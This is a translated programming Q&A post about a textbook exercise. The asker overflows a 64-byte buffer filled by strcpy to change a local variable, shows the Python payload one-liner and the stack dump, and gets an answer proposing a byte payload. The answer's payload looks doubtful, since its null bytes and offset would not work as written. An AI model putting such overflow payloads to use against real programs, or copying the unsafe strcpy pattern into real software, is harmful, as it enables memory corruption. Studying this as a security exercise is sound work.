堆栈溢出成可变混乱(计算机安全)

时间:2013-04-30 20:30:11

标签: c assembly stack buffer-overflow

我正在通过我在网上找到的一本书来学习计算机安全性(对这些东西来说很新,变得简单!),一章教你如何溢出堆栈。该程序中使用的功能是:

void vuln(int tmp, char *str) {
    //attempting to overflow into tmp, setting win accordingly
    int win = tmp;
    //overflowing this array!
    char buf[64];
    strcpy(buf, str);
    dump_stack((void **) buf, 23, (void **) &tmp);
    printf("win = %d\n", win);
    if (win == 1) {
        printf("You win!\n");
    } else {
        printf("Sorry, you lose.\n");
    }
    exit(0);
}

我想要做的是溢出buf并将tmp的值设置为1,相应地设置胜利并让我获胜。

目前我正在使用一个快速的python脚本打印出84个字母'A'到堆栈填充到我希望将值设置为的变量。这是我在命令提示符中进行的调用:

./simple_overwrite $(python -c "print 'A'*84) 

给出的输出是:

Stack dump:
> 0xffffd614: 0xffffd803 (second argument)
> 0xffffd610: 0x00000000 (first argument)
> 0xffffd60c: 0x41414141 (saved eip)
> 0xffffd608: 0x41414141 (saved ebp)
> 0xffffd604: 0x41414141
> 0xffffd600: 0x41414141
> 0xffffd5fc: 0x41414141
> 0xffffd5f8: 0x41414141
> 0xffffd5f4: 0x41414141
> 0xffffd5f0: 0x41414141
> 0xffffd5ec: 0x41414141
> 0xffffd5e8: 0x41414141
> 0xffffd5e4: 0x41414141
> 0xffffd5e0: 0x41414141
> 0xffffd5dc: 0x41414141
> 0xffffd5d8: 0x41414141
> 0xffffd5d4: 0x41414141
> 0xffffd5d0: 0x41414141
> 0xffffd5cc: 0x41414141
> 0xffffd5c8: 0x41414141
> 0xffffd5c4: 0x41414141
> 0xffffd5c0: 0x41414141
> 0xffffd5bc: 0x41414141 (beginning of buffer)
> win = 1094795585
> Sorry, you lose.

虽然我不太确定在脚本设置地址指向一个值之后输入什么,但我尝试过0x1而只是1但是都没有用。任何帮助都非常感谢,谢谢!!

P.S。我知道这是一个非常糟糕的练习,但请记住这是关于计算机安全的,我绝不想在本教程之外使用它。

1 个答案:

答案 0 :(得分:2)

您已将win设为0x41414141。您想将其设置为1。尝试这样的事情:

./simple_overwrite $(python -c "print 'A'*64 + '\x00\x00\x00\x01'") 

或者'\x01\x00\x00\x00',具体取决于计算机的字节顺序。